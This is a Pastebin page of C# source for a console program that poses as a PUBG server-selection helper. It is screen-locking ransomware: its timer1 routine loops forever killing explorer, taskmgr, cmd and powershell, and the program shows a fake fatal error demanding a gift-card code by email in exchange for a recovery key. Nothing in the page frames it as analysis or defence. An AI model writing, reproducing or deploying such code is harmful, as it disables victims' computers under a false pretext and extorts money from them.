Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- using System;
- using System.Collections.Generic;
- using System.Linq;
- using System.Text;
- using System.Threading.Tasks;
- using System.Threading;
- using System.Diagnostics;
- namespace 철헌이게받치는2번쨰
- {
- class Program
- {
- static void Main(string[] args)
- {
- Console.ForegroundColor = ConsoleColor.White;
- Console.WriteLine("#version 0.1");
- Console.WriteLine("#copyright 2018. 배그인벤 all rights reserverd.");
- Console.ForegroundColor = ConsoleColor.Green;
- Console.WriteLine("안녕하세요, 배틀그라운드 서버 선택 도우미입니다.");
- Thread.Sleep(1000);
- Console.WriteLine("배틀그라운드를 실행시키고 Y를 입력해주세요.");
- Console.ForegroundColor = ConsoleColor.White;
- while ((Console.ReadLine() == "Y"))
- {
- Console.Clear();
- Console.WriteLine("서버선택UI로 이동합니다.");
- Thread.Sleep(1000);
- Console.ForegroundColor = ConsoleColor.Red;
- Console.WriteLine("10초 남았습니다.");
- Thread.Sleep(1000);
- Console.ForegroundColor = ConsoleColor.Yellow;
- Console.WriteLine("9초 남았습니다.");
- Thread.Sleep(1000);
- Console.ForegroundColor = ConsoleColor.Green;
- Console.WriteLine("8초 남았습니다.");
- Thread.Sleep(1000);
- Console.ForegroundColor = ConsoleColor.Blue;
- Console.WriteLine("7초 남았습니다.");
- Thread.Sleep(1000);
- Console.ForegroundColor = ConsoleColor.Cyan;
- Console.WriteLine("6초 남았습니다.");
- Thread.Sleep(1000);
- Console.ForegroundColor = ConsoleColor.DarkMagenta;
- Console.WriteLine("5초 남았습니다.");
- Thread.Sleep(1000);
- Console.ForegroundColor = ConsoleColor.White;
- Console.WriteLine("4초 남았습니다.");
- Thread.Sleep(1000);
- Console.ForegroundColor = ConsoleColor.DarkGreen;
- Console.WriteLine("3초 남았습니다.");
- Thread.Sleep(1000);
- Console.ForegroundColor = ConsoleColor.Yellow;
- Console.WriteLine("2초 남았습니다.");
- Thread.Sleep(1000);
- Console.ForegroundColor = ConsoleColor.DarkMagenta;
- Console.WriteLine("1초 남았습니다.");
- Thread.Sleep(1000);
- Console.ForegroundColor = ConsoleColor.Green;
- Console.WriteLine("실행하고있습니다.");
- Thread.Sleep(1000);
- Console.Clear();
- Console.WriteLine("┌────────────────────┐\n" +
- " 1. US 2.KR 3.AS 4.EU \n" +
- "└━━━━━━━━━━━━━━━━━━━━┘\n");
- Console.WriteLine("원하시는 서버 번호를 입력해주세요. . .");
- while ((Console.ReadLine() == "1"))
- {
- Console.Clear();
- Thread.Sleep(1000);
- timer1();
- Console.WriteLine("!error! \n" +
- "치명적인 오류가 발생하였습니다.! \n" +
- "복구하실려면 Y를 입력해주세요.");
- while ((Console.ReadLine() == "Y"))
- {
- Console.Clear();
- Console.WriteLine("hk416.noname@gmail.com으로 5천원 문상코드를 보내주시면 \n" + "복구키를 제공해드리겠습니다.!");
- Thread.Sleep(1000);
- Process.Start("http://gmail.com");
- Console.WriteLine("복구키를 입력하세요 : ");
- while ((Console.ReadLine() == "FuckPubg"))
- {
- Console.Clear();
- Console.WriteLine("저희 서비스를 이용해주셔서 감사합니다. KR서버에 정상적으로 연결되었습니다.");
- Process.Start("explorer.exe");
- }
- }
- }
- while ((Console.ReadLine() == "2"))
- {
- Console.Clear();
- Thread.Sleep(1000);
- timer1();
- Console.WriteLine("!error! \n " +
- "치명적인 오류가 발생하였습니다.! \n" +
- "복구하실려면 Y를 입력해주세요.");
- while ((Console.ReadLine() == "Y"))
- {
- Console.Clear();
- Console.WriteLine("hk416.noname@gmail.com으로 5천원 문상코드를 보내주시면 \n" + "복구키를 제공해드리겠습니다.!");
- Thread.Sleep(1000);
- Process.Start("http://gmail.com");
- Console.WriteLine("복구키를 입력하세요 : ");
- while ((Console.ReadLine() == "FuckPubg"))
- {
- Console.Clear();
- Console.WriteLine("저희 서비스를 이용해주셔서 감사합니다. KR서버에 정상적으로 연결되었습니다.");
- Process.Start("explorer.exe");
- }
- }
- }
- while ((Console.ReadLine() == "3"))
- {
- Console.Clear();
- Thread.Sleep(1000);
- timer1();
- Console.WriteLine("!error! \n " +
- "치명적인 오류가 발생하였습니다.! \n" +
- "복구하실려면 Y를 입력해주세요.");
- while ((Console.ReadLine() == "Y"))
- {
- Console.Clear();
- Console.WriteLine("hk416.noname@gmail.com으로 5천원 문상코드를 보내주시면 \n" + "복구키를 제공해드리겠습니다.!");
- Thread.Sleep(1000);
- Process.Start("http://gmail.com");
- Console.WriteLine("복구키를 입력하세요 : ");
- while ((Console.ReadLine() == "FuckPubg"))
- {
- Console.Clear();
- Console.WriteLine("저희 서비스를 이용해주셔서 감사합니다. KR서버에 정상적으로 연결되었습니다.");
- Process.Start("explorer.exe");
- }
- }
- }
- while ((Console.ReadLine() == "4"))
- {
- Console.Clear();
- Thread.Sleep(1000);
- timer1();
- Console.WriteLine("!error! \n " +
- "치명적인 오류가 발생하였습니다.! \n" +
- "복구하실려면 Y를 입력해주세요.");
- while ((Console.ReadLine() == "Y"))
- {
- Console.Clear();
- Console.WriteLine("hk416.noname@gmail.com으로 5천원 문상코드를 보내주시면 \n" + "복구키를 제공해드리겠습니다.!");
- Thread.Sleep(1000);
- Process.Start("http://gmail.com");
- Console.WriteLine("복구키를 입력하세요 : ");
- while ((Console.ReadLine() == "FuckPubg"))
- {
- Console.Clear();
- Console.WriteLine("저희 서비스를 이용해주셔서 감사합니다. KR서버에 정상적으로 연결되었습니다.");
- Process.Start("explorer.exe");
- }
- }
- }
- }
- }
- //여러 프로세스 무한 종료
- static void timer1()
- {
- while (true)
- {
- string[] killlist = { "explorer", "taskmgr", "cmd", "powershell" };
- foreach (Process prc in Process.GetProcesses())
- {
- string name = prc.ProcessName;
- if (Array.Exists(killlist, x => x == name))
- {
- prc.Kill();
- }
- }
- }
- }
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement